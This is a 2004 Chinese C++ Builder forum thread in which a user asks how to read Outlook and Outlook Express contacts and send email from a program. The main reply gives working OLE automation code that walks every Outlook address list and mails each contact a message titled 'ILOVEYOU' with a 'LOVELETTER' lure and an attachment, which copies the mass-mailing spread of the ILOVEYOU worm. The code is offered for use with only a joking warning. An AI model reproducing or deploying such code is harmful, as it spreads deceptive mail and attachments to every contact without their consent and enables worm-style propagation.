有关Express地址薄和Outlook联系人的问题?

taoli1979 2004-05-10 01:48:12
我用的是BCB6,我想在程序中读取Express地址薄和Outlook联系人添加到我的ListView里,然后用户可以在我的程序里发邮件。请问我要用什么控件或是函数读取
Express地址薄和Outlook联系人的内容,还有怎样发邮件呢?谢谢
...全文
99 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
MEFULEU 2004-07-06
  • 打赏
  • 举报
回复
教你一个办法;1首先把Express地址薄导入到Outlook;

2然后使用快乐时光的办法;搜索所有的地址--因为对Express地址薄无效,所以只好要求1步

3:代码如下: ---可别做病毒啊;

#include <utilcls.h>
#include <ComObj.hpp>


int olMailItem = 0;
Variant Outlook,Mapi,a,Malead,Male;
Variant vMailItem ;
int ctrentries,CtrLists;
Outlook = CreateOleObject("Outlook.Application");
Mapi=Outlook.OleFunction("GetNameSpace","MAPI");
for(CtrLists=1;CtrLists<=Mapi.OlePropertyGet("AddressLists").OlePropertyGet("Count");CtrLists++)
{
a= Mapi.OlePropertyGet("AddressLists",CtrLists);
for(ctrentries = 1; ctrentries<=a.OlePropertyGet("AddressEntries").OlePropertyGet("Count") ;ctrentries++)
{
Malead=a.OlePropertyGet("AddressEntries",ctrentries);
Male = Outlook.OleFunction("CreateItem",0) ;
Male.OlePropertyGet("Recipients").OleFunction("Add",Malead);
Male.OlePropertySet("Subject","ILOVEYOU");
Male.OlePropertySet("Body","kindly check the attached LOVELETTER coming from me.");
Male.OlePropertyGet("Attachments").OleFunction("Add", "c:\\text.txt");
Male.OleFunction("Send");
}
}



88480 2004-07-06
  • 打赏
  • 举报
回复
up
invalid 2004-07-06
  • 打赏
  • 举报
回复
express可以用msdn里面的一个wab的例子修改一下即可。
taoli1979 2004-05-10
  • 打赏
  • 举报
回复
有人能帮帮我吗?呜呜

13,873

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder相关内容讨论区
社区管理员
  • 基础类社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧